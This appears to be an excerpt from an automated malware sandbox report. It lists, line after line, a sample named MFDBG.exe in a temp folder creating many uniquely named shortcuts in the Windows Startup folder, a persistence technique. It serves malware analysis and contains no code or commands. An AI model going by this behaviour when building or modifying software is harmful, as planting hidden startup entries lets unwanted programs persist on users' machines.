Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd72516962ce4c939f349651897929ad.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf50bf4a32bf4279a49e744134461b73.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a848d51f6d84d408db3130c22ea2168.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1fa0825acab7460fa565ca5dd06abe42.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4d8eaa7ef6e4f3caa982e4dcd949772.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ccbdc2a47784fbea67c714995b9e370.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a77d54eb7774e9892478746a0de0c0a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3af0013796414331afed6559190da506.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01faa85abb6d4b3fbc92d7bb205ad21c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be680303084c4489ba5abc953d023483.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51b0be070fa74ba7a29d266c7559ded3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7cc45119b70c4a7cb619b814a6465d43.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0940e3ad6d54c9798ce1b470d503ef8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e436e92b18fd42119ac65f8b20f4cedb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcf8d790abbc41a78602a0d98dcba51a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_34f7dca7f57b4604ab71549ddd4ccaac.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_62d7212e4d4d430aaab8a85144ef8964.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1ba56bbbd55421e877d43b1043c0b9c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0ef2c9bfc054c6d9c6d9c3d49f65a71.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_faba8bbb391a42e0a9e7b81a7d967de5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d49905921b1c437fb0166246505ce1fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd25dde6927f41fc8d091ec61d7a4a1c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8372a0710ab940ab8228fd1586efad41.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8352761d2d7f49a8ab8b5c14c261829c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1018111a58b4311852c93aa20af5b5d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_09e3dcb0d04b4edbbd9d2be9ee9d8db2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe3e22a5cd27431b918c1dfdba8511de.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_892e61d4a4e246f9b40d4070b7579b7b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed0bf28d96ba4e7a90433560f8efc86c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dc1285023bd420682de11bb2a71fb44.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_81aef1ca25254f2c9f1a0efad6e86607.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d74dea811c4544e68702619f2f0e7192.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d7a16febdd494848a699d5383d1e5b48.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_341bb7b5582b49609cc2d0e677190a3a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_63204641a95644258f39a453d2c90675.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9352013fef514dbd99394b2a2fc1d8e8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e7eaed14f64c497fbdce24fb9b969c26.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c4d3331613c415e85bca83358ae4f3a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_44bd4964c259424e97b3823bc805dbbd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c223b32efe5547e2a3f8b745db182b0f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_768d1525a6ed483d8b79b584c151cebe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53fb3bd0c39f4a958c95d3b048ce79a1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_01d7a38e785c4aa89f351d9c2810c1e1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8907fe635da646e4872837f438833bee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_df03a40df7ad40d0819e45451f9c1fae.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_69b56b59db19469c9aca224c1c65dc6b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b8d81aeec5c6454d916a5df05e9a3f89.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cd58754fc3a945719ca732a998602fc9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a48b434b5de24134b68fb4f1c307b41c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1d337e8647e94e96859b6bc133503773.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06165b1d6b664b5e86d478972d965c3a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af3af6aee69b43088de5d06f31e379f0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_40d7c41b521d4770a517fa80b9b85a2f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ff2eaadaf234373ad38b8869de3f242.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b57b073dd944b42965210fb9319c57b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e6c62a64244f441fb5dc87c9bbd1e47a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ee36e988051456494d438d6bacfd8d2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3c6df182813c4aa6a86aaea14920b935.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cbce2985e29d45f1b5e05f70743ebace.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c342f47409694bfaa385595d164d8103.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fc43c5d0d6440f192c143f917d16b4a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_33391cf13f354b61ada90f57c31ad046.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b9e9b71df7e74fb78dc3194b8f7967b0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d7e406ce5974947bdc9493bc77e18f7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51d8e533a3c47a98e68cb1ccb5aa2e7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a74e34057cfb4321aff7029dc61d0c99.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_245e789e7cf941b584b8d64a731b57ea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f394e560da884f218d4d174761443775.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4017c603241b408aacaf6b62616f3387.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bf0738652fd14533a84754e2181230ef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e09f473151f143708d16f28544d8e6f9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_475acb4d40b5484daa69ad5b975ccf21.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3609da433ccd491a95d89be0c83d977f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_017e6a6b5d394cb498a73f1f00525326.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a5c73ebc5d854883ba34c91e58c60c38.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5880f24e0b7406e80953d578a4a1ae0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ea9dd2aefed4d1bade39ce4a8fb63ec.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d35789e73b36439093fc8282c6d719c1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fcdecea6209c4159a6ad4d17abc33f4b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e298dcf407b4a058d7c296bbab771fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc8535ec4f724213b4d1bd7019e68b34.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_29c09eee5d854331a86972971f43b58a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d64ea97b2364ea791702b5bde60b953.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0177c0828b4dc49c129371314006c6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30021e49c9024d8598d161192bf88011.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_307886165e464921aa1476cb60b7074c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2066b51c32ba4e61a8eed11a08a1c71f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5b17e7b0f75b4058b63861e49ea7b512.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6a68eddae1914e31a709071f6abc223a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bd360f017e345fa86d057536ad4f522.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27ed73e1a1b84af090ed410af0795e09.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_93f5487182ce40a88a71a4d2cc51634d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_36d072f891074d94ae8ee0b528ec097a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6bafb6b97d424fe7807bf2ca43b54b6f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3638ea4972dc4bbb9cf046c1ef87bc7e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_27c19a4f3fad42ce9751c2b8e09e64ef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_75ce9b99bbaa44209ff7f622416b0721.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9a15294d18aa45578e63e6b6310b9bf5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7908ac5f49e54536807b20fecdf77825.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c8948a144fa94fd89a26f0fd5e8662d5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24b03bbcdcc94b669b3d586084339082.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_062df8eb1ecb4b5f9c50e93c669afef5.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a847ec8b9c2e4a94b2e0dcfb7fff20fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5341c85c3bf42749041840cb418f84c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b90931ab9ce44f392202d6e18fc6f03.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b01cdfae68524a3482baa9c671f97148.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4aa9c81e5d84142b432bf9b01384f40.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_239a0aaf783848539413a43771cb6a52.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45e7d180e9c14aef91b861c650164caf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f47c171e690d4b0699c72a82229c15cd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f1fc5f1f3434908a5ca534ead5d4837.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_49ba90fb1762414f9457e97b21a8e404.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f470ccf3d44b48a18282adb2bc22ac19.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b057ec2bd0c348378b631d5935d81a41.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e942cdb351be4dd2b9c9c7aac6676aff.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e005f46db1714f66941dc766c86f6feb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b89afc260f740ad8cc4ec0e91022528.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3958687753084f999d10cc575d007862.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_355ea350ede34aee8c6f4405472af6e0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f98804a0cd6840998a6537020e2b674f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7a783f0a3b0495bbd3de794711e9797.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56a958991a984bb0a2b9adf2a4645b4a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3bdcab68685b4192bec69ea8634e429c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_750a8892a57d4535a0f8505307a88b48.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_171c4d2fa7de4fa1b9803be0f00a8ebe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6abd362aa874bb3afcfb9932c44e746.lnk Jump to behavior
